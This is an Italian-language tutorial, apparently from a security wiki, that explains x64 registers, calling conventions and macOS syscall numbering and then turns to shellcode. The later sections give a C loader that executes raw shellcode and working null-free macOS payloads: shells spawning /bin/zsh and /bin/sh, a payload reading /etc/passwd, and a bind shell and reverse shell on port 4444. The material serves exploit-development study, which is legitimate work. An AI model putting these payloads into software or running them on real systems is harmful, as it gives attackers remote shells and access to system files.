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Introduzione a x64

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Introduzione a x64

x64, noto anche come x86-64, è un'architettura di processore a 64 bit utilizzata prevalentemente nel computing desktop e server. Originata dall'architettura x86 prodotta da Intel e successivamente adottata da AMD con il nome AMD64, è l'architettura prevalente nei computer personali e nei server di oggi.

Registri

x64 si espande sull'architettura x86, presentando 16 registri a uso generale etichettati rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, e r8 fino a r15. Ognuno di questi può memorizzare un valore a 64 bit (8 byte). Questi registri hanno anche sottoregistri a 32 bit, 16 bit e 8 bit per compatibilità e compiti specifici.

rax - Tradizionalmente usato per i valori di ritorno dalle funzioni.
rbx - Spesso usato come registro base per operazioni di memoria.
rcx - Comunemente usato per contatori di ciclo.
rdx - Usato in vari ruoli, comprese le operazioni aritmetiche estese.
rbp - Puntatore base per il frame dello stack.
rsp - Puntatore dello stack, tiene traccia della cima dello stack.
rsi e rdi - Usati per gli indici di sorgente e destinazione nelle operazioni su stringhe/memoria.
r8 a r15 - Registri a uso generale aggiuntivi introdotti in x64.

Convenzione di Chiamata

La convenzione di chiamata x64 varia tra i sistemi operativi. Ad esempio:

Windows: I primi quattro parametri sono passati nei registri rcx, rdx, r8 e r9. Ulteriori parametri sono spinti nello stack. Il valore di ritorno è in rax.
System V (comunemente usato nei sistemi simili a UNIX): I primi sei parametri interi o puntatori sono passati nei registri rdi, rsi, rdx, rcx, r8 e r9. Il valore di ritorno è anch'esso in rax.

Se la funzione ha più di sei input, il resto sarà passato nello stack. RSP, il puntatore dello stack, deve essere allineato a 16 byte, il che significa che l'indirizzo a cui punta deve essere divisibile per 16 prima che avvenga qualsiasi chiamata. Questo significa che normalmente dovremmo assicurarci che RSP sia correttamente allineato nel nostro shellcode prima di effettuare una chiamata a funzione. Tuttavia, in pratica, le chiamate di sistema funzionano molte volte anche se questo requisito non è soddisfatto.

Convenzione di Chiamata in Swift

Swift ha la sua convenzione di chiamata che può essere trovata in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Istruzioni Comuni

Le istruzioni x64 hanno un set ricco, mantenendo la compatibilità con le istruzioni x86 precedenti e introducendo nuove istruzioni.

mov: Sposta un valore da un registro o posizione di memoria a un altro.
Esempio: mov rax, rbx — Sposta il valore da rbx a rax.
push e pop: Spingere o estrarre valori da/per lo stack.
Esempio: push rax — Spinge il valore in rax nello stack.
Esempio: pop rax — Estrae il valore superiore dallo stack in rax.
add e sub: Operazioni di addizione e sottrazione.
Esempio: add rax, rcx — Aggiunge i valori in rax e rcx memorizzando il risultato in rax.
mul e div: Operazioni di moltiplicazione e divisione. Nota: queste hanno comportamenti specifici riguardo all'uso degli operandi.
call e ret: Usati per chiamare e ritornare dalle funzioni.
int: Usato per attivare un interruzione software. E.g., int 0x80 era usato per le chiamate di sistema in Linux x86 a 32 bit.
cmp: Confronta due valori e imposta i flag della CPU in base al risultato.
Esempio: cmp rax, rdx — Confronta rax con rdx.
je, jne, jl, jge, ...: Istruzioni di salto condizionale che cambiano il flusso di controllo in base ai risultati di un precedente cmp o test.
Esempio: Dopo un'istruzione cmp rax, rdx, je label — Salta a label se rax è uguale a rdx.
syscall: Usato per chiamate di sistema in alcuni sistemi x64 (come i moderni Unix).
sysenter: Un'istruzione di chiamata di sistema ottimizzata su alcune piattaforme.

Prologo della Funzione

Spingere il vecchio puntatore base: push rbp (salva il puntatore base del chiamante)
Spostare il puntatore dello stack corrente nel puntatore base: mov rbp, rsp (imposta il nuovo puntatore base per la funzione corrente)
Allocare spazio nello stack per le variabili locali: sub rsp, <size> (dove <size> è il numero di byte necessari)

Epilogo della Funzione

Spostare il puntatore base corrente nel puntatore dello stack: mov rsp, rbp (dealloca le variabili locali)
Estrarre il vecchio puntatore base dallo stack: pop rbp (ripristina il puntatore base del chiamante)
Restituire: ret (restituisce il controllo al chiamante)

macOS

syscalls

Ci sono diverse classi di syscalls, puoi trovarle qui:


#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Poi, puoi trovare ogni numero di syscall in this url:


0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Quindi, per chiamare la syscall open (5) dalla classe Unix/BSD è necessario aggiungerla: 0x2000000

Quindi, il numero della syscall per chiamare open sarebbe 0x2000005

Shellcodes

Per compilare:

bash


nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Per estrarre i byte:

bash


# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

Codice C per testare lo shellcode


// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Preso da qui e spiegato.

armasm


bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

armasm


bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Leggi con cat

L'obiettivo è eseguire execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).

armasm


bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Esegui comando con sh

armasm


bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell da https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html in porta 4444

armasm


section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse shell da https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell a 127.0.0.1:4444

armasm


section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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